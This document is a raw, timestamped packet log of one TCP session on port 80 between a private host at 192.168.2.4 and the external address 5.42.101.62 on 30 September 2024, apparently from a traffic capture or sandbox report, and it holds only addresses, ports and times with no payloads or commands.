Sep 30, 2024 12:22:27.499130011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.499167919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.504786015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.504831076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.504837036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.504853010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.504868984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.504874945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.504895926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.504909039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.504940987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.504973888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.504998922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505013943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505028963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505031109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505044937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505059958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505297899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505312920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505328894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505338907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505351067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505368948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505484104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505518913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505662918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505681038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505697966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505706072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505711079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.505722046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505738020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.505752087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.520880938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.520908117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.520921946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.520935059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.520967007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.520967007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.520972013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.520987034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521001101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521008015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521018982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521032095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521245956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521271944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521287918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521300077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521548033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521564007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521578074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521590948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521591902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521603107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521620035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521634102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521795988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521811008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521825075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521842957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521855116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521864891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521874905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521908045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521949053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521964073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521977901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.521981001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.521996975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.522003889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.522027969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.522039890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.522538900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.522564888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.522578955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.522592068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.531507015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.531550884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.531550884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.531565905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.531582117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.531594992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.531616926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.531632900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.531652927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.531665087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.531681061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.531714916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.531716108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.531753063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.535764933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.535809994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.535826921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.535840988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.535859108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.535861015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.535873890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.535885096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.535888910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.535907984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.535919905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.535939932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.535945892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.535960913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.535980940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.535991907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.536354065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.536370039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.536386013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.536391973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.536401987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.536406994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.536436081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.536452055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.536701918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.536719084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.536734104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.536741018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.536747932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.536756992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.536773920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.536787987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.540030956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.540076971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.540131092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.540144920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.540159941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.540170908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.540174961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.540190935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.540206909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.540210962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.540225983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.540239096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.540242910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.540256023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.540271044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.545911074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.545924902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.545941114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.545953035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.545964956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.545977116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.546020985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.546035051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.546051025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.546052933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.546063900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.546080112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.546093941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.546112061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.546129942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.546139002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554181099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554220915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554230928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554235935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554253101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554258108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554285049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554296970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554311991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554328918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554357052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554384947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554399967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554413080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554416895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554429054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554454088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554471016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554485083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554502964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554505110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554522991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554536104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554546118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554558992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.554578066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.554589033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.555103064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.555144072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.557821035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.557862997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.557864904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.557878971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.557893038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.557894945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.557914972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.557928085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.557965994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.557996988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.558022022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.558037996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.558051109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.558056116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.558079004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.561584949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.561599016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.561636925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.561650991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.561666012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.561681986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.561688900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.561702013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.561707020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.561718941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.561722994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.561738968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.561743975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.561758995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.561770916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.584922075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.584937096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.584959984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.584971905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.584975004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.584989071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.584995985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585005999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585022926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585045099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585079908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585118055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585122108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585148096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585329056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585344076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585361004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585362911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585372925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585386992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585452080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585468054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585484982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585506916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585720062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585735083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.585757971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.585771084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.591819048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.591866016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.591912031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.591936111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.591943026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.591950893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.591964006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.591967106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.591978073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.591985941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592000008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592001915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592016935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592017889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592034101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592047930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592227936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592267990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592273951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592289925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592304945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592308044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592317104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592336893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592531919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592554092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592571974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592575073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592586040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.592586994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.592617989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.595418930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.607944012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.607958078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.607974052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608000040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608001947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608016968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608031034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608033895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608038902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608051062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608062983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608077049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608094931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608155012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608169079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608184099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608189106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608201027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608206987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608222008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608243942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608674049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608720064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608730078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608746052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608766079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608783007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608805895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608819962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608834982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.608836889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608850002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.608865023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.609114885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.609155893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.609167099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.609183073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.609200001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.609213114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.609226942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.609241962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.609260082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.609276056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.618510008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.618525982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.618540049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.618572950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.618577003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.618590117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.618597984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.618628979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.618649006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.618664026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.618680000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.618683100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.618705988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.618722916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.622792959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.622807980 CEST	80	52534	5.42.101.62	192.168.2.4
